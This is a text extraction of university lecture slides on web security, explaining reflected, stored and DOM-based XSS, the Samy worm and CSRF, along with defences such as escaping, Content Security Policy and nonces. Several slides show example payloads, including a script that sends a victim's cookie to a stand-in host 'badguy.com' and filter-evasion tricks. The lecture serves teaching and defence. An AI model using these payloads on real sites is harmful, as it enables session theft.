09 Week8 10 Web Security C

Lecture 8-10 – Web Security
Dr. Cong Wang

CS Department
City University of Hong Kong
Slides partially adapted from lecture notes by M. Goodrich&R. Tamassia,
W. Stallings&L. Brown, Dan Boneh, and Dawn Song.
CS4293 Topics on Cybersecurity 1
Three top web site vulnerabilites
• SQL Injection
– Browser sends malicious input to server Uses SQL to change
– Bad input checking leads to malicious meaning of database
SQL query command
• CSRF – Cross-site request forgery

Leverage user’s session at
– Bad web site sends request to good web victim sever
site, using credentials of an innocent
victim who “visits” site
• XSS – Cross-site scripting
Inject malicious script
– Bad web site sends innocent victim a into trusted context
script that steals information from an
honest web site

Cross-Site Scripting
aka. XSS
Injection in the browser

Basic scenario: reflected XSS attack
Attack Server
te
visit web si
1
i o u s l in k
i ve malic
c e
2 re data
a b le
s e nd valu
5
3
Victim client click
4 on li
e ch o nk
user
inpu
t Victim Server

XSS example: vulnerable site
• search field on victim.com:
– http://victim.com/search.php ? term = apple
Search.php is supposed to accept a query and show the results
• Server-side implementation of search.php:

<HTML> <TITLE> Search Results </TITLE>
<BODY>
Results for <?php echo $_GET[term] ?> :
. . .
</BODY> </HTML>
echo search term
Results for apple : into response
... CS4293 Topics on Cybersecurity 5
Bad input
• Consider link: (properly URL encoded)
http://victim.com/search.php ? term =
<script> window.open(
“http://badguy.com?cookie = ” +
document.cookie ) </script>
Pre-setup by attacker
• What if user clicks on this link?

1. Browser goes to victim.com/search.php
2. Victim.com returns
<HTML> Results for <script> … </script>
3. Browser executes script:
• Sends badguy.com cookie for victim.com
Attack Server
bad link
ser gets
u
www.attacker.com
http://victim.com/search.php ?
term = <script> ... </script>
user
cl i ck s
Victim client on l
v i ct i ink
me
cho
es u
ser
inpu Victim Server
t
www.victim.com
<html>
Results for
<script>
window.open(http://attacker.com?
... document.cookie ...)
</script>
</html>
What is XSS?
• An XSS vulnerability is present when an attacker can
inject scripting code into pages generated by a web
application
• Methods for injecting malicious code:
– Reflected XSS (“type 1”)
• the attack script is reflected back to the user as part of a page
from the victim site
– Stored XSS (“type 2”)
• the attacker stores the malicious code in a resource managed by
the web application, such as a database
– Others, such as DOM-based attacks

Basic scenario: reflected XSS attack
l ad d r Attack Server
Email version m a i
C o llect e
1
s e m ail
alicio u
n d m
2 se data
ab le
se nd valu
5
click
3 with on link
m
User Victim 4 para aliciou
e ch o ms s
user
inpu
t Server Victim Server inserts
malicious
params into HTML

2006 Example Vulnerability
• Attackers contacted users via email and fooled them into

accessing a particular URL hosted on the legitimate PayPal
website.
• Injected code redirected PayPal visitors to a page warning
users their accounts had been compromised.
• Victims were then redirected to a phishing site and prompted
to enter sensitive financial data.
Source: http://www.acunetix.com/news/paypal.htm
Adobe PDF viewer “feature”
(version <= 7.9)
• PDF documents execute JavaScript code

http://path/to/pdf/file.pdf#whatever_name_you_w
ant=javascript:code_here
Injected some JS into this link, hacking ur pc while u downloading the PDF
The code will be executed in the context of the
domain where the PDF files is hosted
This could be used against PDF files hosted on the
local filesystem
http://jeremiahgrossman.blogspot.com/2007/01/what-you-need-to-know-about-uxss-in.html
Here’s how the attack works:
• Attacker locates a PDF file hosted on website.com
• Attacker creates a URL pointing to the PDF, with JavaScript
Malware in the fragment portion
http://website.com/path/to/file.pdf#s=javascript:alert(”xss”);)
=attracts
• Attacker entices a victim to click on the link
• If the victim has Adobe Acrobat Reader Plugin 7.0.x or less,
confirmed in Firefox and Internet Explorer, the JavaScript
Malware executes
Note: alert is just an example. Real

CS4293attacks do something worse.
Topics on Cybersecurity 12
Reflected XSS attack
Use user’s hand to hijack data from
server
Attack Server
ab le data
se nd valu
5
3
User Victim click
4 on li
e ch o nk Send bad stuff
user
inpu
t Server Victim
Reflect it back

Stored XSS
Store bad stuff in server
Attack Server
data
al valuable
e
4 st
1
Inject malicious
script
2 requ
User Victim e
st co Store bad stuff
3 re nten
ce iv t
e ma
licio Server Victim
Download it us sc
ript

MySpace.com (Samy worm)
• Users can post HTML on their pages

– MySpace.com ensures HTML contains no
<script>, <body>, onclick, <a href=javascript://>
– … but can do Javascript within CSS tags:

<div style=“background:url(‘javascript:alert(1)’)”>
And can hide “javascript” as “java\nscript”
Input validation should be used to avoid html injection E.g. use blacklist to block some
discovered harmful link
• With careful javascript hacking:
– Samy worm infects anyone who visits an infected MySpace
page … and adds Samy as a friend.
– Samy had millions of friends within 24 hours.
http://namb.la/popular/tech.html
Stored XSS using images
Suppose pic.jpg on web server contains HTML !
• request for http://site.com/pic.jpg results in:
HTTP/1.1 200 OK
…
Content-Type: image/jpeg
<html> fooled ya </html>
• IE will render this as HTML (despite Content-Type)
• Consider photo sharing sites that support image uploads

• What if attacker uploads an “image” that is a script?
DOM-based XSS (no server used)
• Traditional XSS vulnerabilities occur in the server
side code, and the fix involves improving
sanitization at the server side.
• Web 2.0 applications include significant
processing logic, at the client side, written in
JavaScript.
• Similar to the server, this code can also be
vulnerable.
• When the XSS vulnerability occurs in the client
side code, it is termed as a DOM Based XSS
vulnerability
• Example page
<HTML><TITLE>Welcome!</TITLE>
Hi <SCRIPT>
var pos = document.URL.indexOf("name=") + 5;
document.write(document.URL.substring(pos,docum
ent.URL.length));
</SCRIPT>
</HTML> welcome.html is supposed to show “Hi Joe”
• Works fine with this URL
http://www.example.com/welcome.html?name=Joe
• But what about this one?
http://www.example.com/welcome.html?name=
<script>alert(document.cookie)</script>
CS4293 Topics on Cybersecurity

Amit Klein ... XSS of the Third Kind 18
5. JavaScript code ON THE

CLIENT uses the malicious
params in an unsafe manner,
causing code execution

Three Types of XSS
• Methods for injecting malicious code for XSS:
– Reflected XSS (“type 1”)
• the attack script is reflected back to the user as part of a page
from the victim site
– Stored XSS (“type 2”)
• the attacker stores the malicious code in a resource managed by
the web application, such as a database
– Others, such as DOM-based attacks

Lots more information about attacks
Strangely, this is not

the cover of the
book ...

Complex problems in social network sites
User data
User-
supplied
application

Defenses at server
Attack Server
te
visit web si
1
o u s p age
i ve m alici
e
2 rec data
a b le
s e nd valu
5
3
User Victim click
4 on li
e ch o nk
user
inpu
t Server Victim

Injection Defense
• Defenses:
– Input validation
• Whitelist untrusted against a safe list.
– Input escaping
• Escape untrusted input so it will not be treated as a
command.
– Use less powerful API
• Use an API that only does what you want
• Prefer this over all other options.

Input Validation
• Check whether input value follows a whitelisted pattern. For
example, if accepting a phone number from the user,
JavaScript code to validate the input to prevent server-side
XSS:
• This ensures that the phone number doesn’t contain a XSS

attack vector or a SQL Injection attack. This only works for
inputs that are easily restricted.

Input Escaping or Sanitization
• Sanitize untrusted data before outputting it to
HTML. Consider the HTML entities functions,
which escapes ‘special’ characters. For
example, < becomes < .
Change < to <
• Attack input becomes text showing in browser.

Use a less powerful API
• The current HTML API is too powerful, it allows
arbitrary scripts to execute at any point in HTML.
• Content Security Policy allows you to disable all inline
scripting and restrict external script loads.
• Disabling inline scripts, and restricting script loads to
‘self’ (own domain) makes XSS a lot harder.
• See XSS cheatsheet for more attack/defense details
https://www.owasp.org/index.php/XSS_Filter_Evasion_
Cheat_Sheet

Use a less powerful API
• To protect against DOM based XSS, use a less
powerful JavaScript API.
• If you only want to insert untrusted text, consider
using the innerText API in JavaScript. This API ensures
that the argument is only used as text.
• Similarly, instead of using innerHTML to insert
untrusted HTML code, use createElement to create
individual HTML tags and use innerText on each.

Cross Site Request Forgery

Three top web site vulnerabilites
• SQL Injection
– Browser sends malicious input to server Uses SQL to change
– Bad input checking leads to malicious meaning of database
SQL query command
• CSRF – Cross-site request forgery

Leverage user’s session at
– Bad web site sends request to good victim sever
web site, using credentials of an
innocent victim who “visits” site
• XSS – Cross-site scripting
Inject malicious script
– Bad web site sends innocent victim a into trusted context
script that steals information from an
honest web site

The fake button make user sending his post to the wrong php
Example Application
• Consider a social networking site, GraceBook,
that allows users to ‘share’ happenings from
around the web. Users can click the “Share with
GraceBook” button which publishes content to
GraceBook.
• When users press the share button, a POST

request to http://www.gracebook.com/share.php
is made and gracebook.com makes the necessary
updates on the server.
Running Example

Running Example

Running Example

Recall: session using cookies
Browser Server
POST/login.c
gi
o o kie : a u th e nticator
Set-c
GET…
Cookie: au
th enticator
response

Network Request
• The HTTP POST Request looks like this:

CSRF Attack
• The attacker, on attacker.com, creates a page
containing the following HTML:
• When user visit attacker.com, the spam comment

will be posted to user’s share feed, if the user is
currently logged in on gracebook.com
Attack would be successful if the user was previously authenticated to gracebook.com
CSRF Attack
• JavaScript code can automatically submit the
form in the background to post spam to the
user’s GraceBook feed.
• Similarly, a GET based CSRF is also possible.
Making GET requests is easier: just an img tag
suffices

Example Attack
Done in the background
Solution:
So always log out of web sites at the conclusion of your session!

Nonce based protection
• Recall the expected flow of the application:
– The message to be shared is first shown to the
user on form.php (the GET request)
– When user assents, a POST request to share.php
makes the actual post
• The server creates a nonce, includes it in a
hidden field in form.php and checks it in
share.php.
- Use a nonce to ensure that only form.php can get
to share.php.
Nonce based Protection

合法的
Legitimate Case

Legitimate Case

Attack Case

Recap
• CSRF: Cross Site Request Forgery
• An attack which forces an end user to execute
unwanted actions on a web application in
which he/she is currently authenticated.
• Caused because browser automatically
includes authorization credentials such as
cookies.
• Fixed using Origin headers and nonces
– Origin headers not supported in older browsers

09 Week8 10 Web Security C

Uploaded by

Document Information

Original Title

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

09 Week8 10 Web Security C

Uploaded by

Copyright:

Available Formats

Lecture 8-10 – Web Security

Dr. Cong Wang

• CSRF – Cross-site request forgery

CS4293 Topics on Cybersecurity 2

Injection in the browser

CS4293 Topics on Cybersecurity 3

CS4293 Topics on Cybersecurity 4

• Server-side implementation of search.php:

• What if user clicks on this link?

CS4293 Topics on Cybersecurity 8

CS4293 Topics on Cybersecurity 9

• Attackers contacted users via email and fooled them into

• PDF documents execute JavaScript code

Note: alert is just an example. Real

CS4293 Topics on Cybersecurity 13

CS4293 Topics on Cybersecurity 14

• Users can post HTML on their pages

– … but can do Javascript within CSS tags:

<html> fooled ya </html>

• IE will render this as HTML (despite Content-Type)

• Consider photo sharing sites that support image uploads

CS4293 Topics on Cybersecurity

5. JavaScript code ON THE

CS4293 Topics on Cybersecurity 19

CS4293 Topics on Cybersecurity 20

Strangely, this is not

CS4293 Topics on Cybersecurity 21

CS4293 Topics on Cybersecurity 22

CS4293 Topics on Cybersecurity 23

CS4293 Topics on Cybersecurity 24

• This ensures that the phone number doesn’t contain a XSS

CS4293 Topics on Cybersecurity 25

Change < to &lt;

• Attack input becomes text showing in browser.

CS4293 Topics on Cybersecurity 27

CS4293 Topics on Cybersecurity 28

CS4293 Topics on Cybersecurity 29

• CSRF – Cross-site request forgery

CS4293 Topics on Cybersecurity 30

• When users press the share button, a POST

CS4293 Topics on Cybersecurity 32

CS4293 Topics on Cybersecurity 33

CS4293 Topics on Cybersecurity 34

CS4293 Topics on Cybersecurity 35

CS4293 Topics on Cybersecurity 36

• When user visit attacker.com, the spam comment

CS4293 Topics on Cybersecurity 38

Done in the background

CS4293 Topics on Cybersecurity 39

CS4293 Topics on Cybersecurity 43

CS4293 Topics on Cybersecurity 44

CS4293 Topics on Cybersecurity 45

CS4293 Topics on Cybersecurity 46

CS4293 Topics on Cybersecurity 47

You might also like

Change < to <